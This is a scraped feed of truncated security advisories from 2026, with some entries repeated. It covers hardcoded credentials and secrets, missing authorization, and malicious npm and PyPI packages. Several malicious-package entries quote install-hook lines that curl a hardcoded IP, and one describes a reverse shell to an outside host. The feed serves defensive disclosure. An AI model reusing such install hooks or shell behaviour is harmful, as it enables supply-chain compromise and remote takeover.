CVE-2026-76841 Xinference through 2.11.0 Remote Code Execution via Hardcoded trust_remote_code in Model Loaders

Xinference loads models with Hugging Face remote code execution unconditionally enabled, and before version 2.12.0 exposes no setting to disable it. Six loader call sites pass trustremotecode=True as a literal or as an unconditional default: RerankModel.gettokenizer in...

CVE-2026-76841 Xinference through 2.11.0 Remote Code Execution via Hardcoded trust_remote_code in Model Loaders

Xinference loads models with Hugging Face remote code execution unconditionally enabled, and before version 2.12.0 exposes no setting to disable it. Six loader call sites pass trustremotecode=True as a literal or as an unconditional default: RerankModel.gettokenizer in...

CVE-2026-76841 Xinference through 2.11.0 Remote Code Execution via Hardcoded trust_remote_code in Model Loaders

Xinference loads models with Hugging Face remote code execution unconditionally enabled, and before version 2.12.0 exposes no setting to disable it. Six loader call sites pass trustremotecode=True as a literal or as an unconditional default: RerankModel.gettokenizer in...

CVE-2026-78251 DJI Drone FTP Service Allows Unrestricted Storage Consumption of the /blackbox Directory

DJI drones contain an FTP service that uses hardcoded credentials shared across affected models and permits authenticated users to upload files without limits on file size, file count, or total storage consumed in /blackbox/upgrade/, as well as overwrite existing files in that directory. An...

CVE-2026-78251

DJI drones (15 models including Mavic 4 Pro, Air 3S, Mini 5 Pro, and others) expose an FTP service with hardcoded credentials shared across affected firmware versions. An attacker with access to the drone's internal network or USB RNDIS interface can upload unlimited files to /blackbox/upgrade/, ...

CVE-2026-78251 DJI Drone FTP Service Allows Unrestricted Storage Consumption of the /blackbox Directory

DJI drones contain an FTP service that uses hardcoded credentials shared across affected models and permits authenticated users to upload files without limits on file size, file count, or total storage consumed in /blackbox/upgrade/, as well as overwrite existing files in that directory. An...

MAL-2026-14398 Malicious code in sm-oauth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 98d60527238d1284ed569a2fa7611ff2b430e1ebfab579f597f42a1eb28f49bc package.json declares preinstall and postinstall scripts that run curl -s http://16.192.173.5/sm-oauth/pre and curl -s...

CVE-2026-76847: Missing Authorization

act starts an HTTP Artifacts V4 backend whenever a workflow uses actions/upload-artifact@v4 or actions/download-artifact@v4. The control-plane RPCs of that backend, including CreateArtifact, GetSignedArtifactURL, ListArtifacts, FinalizeArtifact and DeleteArtifact, accept a caller-supplied...

PT-2026-79833

Name of the Vulnerable Software and Affected Versions DJI Neo versions prior to 01.00.0400 DJI Neo 2 versions prior to 01.00.0500 DJI Flip versions prior to 01.00.1200 DJI Air 3 versions prior to 01.00.1600 DJI Air 3S versions prior to 01.00.1400 DJI Avata 2 versions prior to 01.00.0400 DJI Avata...

PT-2026-80856

Name of the Vulnerable Software and Affected Versions nektos/act versions 0.2.81 through 0.2.89 Description The software starts an HTTP Artifacts V4 backend when workflows use actions/upload-artifact@v4 or actions/download-artifact@v4. The control-plane RPCs, including 'CreateArtifact',...

MAL-2026-14399 Malicious code in sm-payment (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 926b17cedd788f5f626b3c4001ca9f1b9572abe425b87d40d6f03814d211e3e7 package.json declares preinstall and postinstall lifecycle scripts that curl a hardcoded bare IP over plain HTTP http://16.192.173.5/sm-payment/pre...

Malicious code in sm-session (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24 package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s...

credactor v2.6.0

Credactor Find the secret. Fix it. Commit clean. Secret scanners are good at sounding the alarm and not much help putting it out. They hand you a list of leaked credentials and leave the cleanup to you. Credactor closes the loop: it finds a hardcoded secret and rewrites it in place, so a leak goe...

Automated-Data-and-Code-Quality-Controller

codesentry Static analysis for Python and JavaScript. Finds i...

MAL-2026-14350 Malicious code in scrambleeer (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7eb0e96b324df04d5ecaf0739dec60dcb2367a26def0e713519c51e24ee790df The package advertises a numeric shuffle utility but its sole public function scrambleeer opens a TCP socket to bax.h4x.tv on port 6363, dup2's the...

CVE-2026-76131

Hard-coded credentials in VOCALOID6 Editor allow network-based impersonation of the legitimate client, enabling unauthorized access to Yamaha's activation and content servers. CVSS 3.1 scores this MEDIUM (5.3). No exploit code or in-the-wild exploitation is documented; monitor Yamaha and JPCERT a...

CVE-2025-30156

A flaw was found in the CephX authentication protocol used by Ceph, a distributed storage system. CephX uses AES-128-CBC encryption with a hardcoded initialization vector and no message authentication HMAC, making it vulnerable to the same class of unauthenticated-encryption attacks that...

Exploit for CVE-2026-71960

CVE-2026-71960 — Hard-coded JWT Secret in Cudy WR3000 2.0 Mesh...

CVE-2026-71960

Cudy WR3000 2.0 firmware before 2.5.24 ships a hard-coded JWT HMAC signing secret in its Mosquitto MQTT broker authentication plugin. Attackers can extract the secret from the firmware image to forge valid JWT tokens, bypassing authentication to the device's mesh networking interface with CVSS 9....

Malicious code in nodealpha (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 423876c4051bc91d09f39b56a198d2dfead5c9a7d7e169337e32edfd1035e31e The package installs a global keyboard hook keyboard.addhotkey on ctrl+c, polls the system clipboard every 300ms via pyperclip.paste, and captures...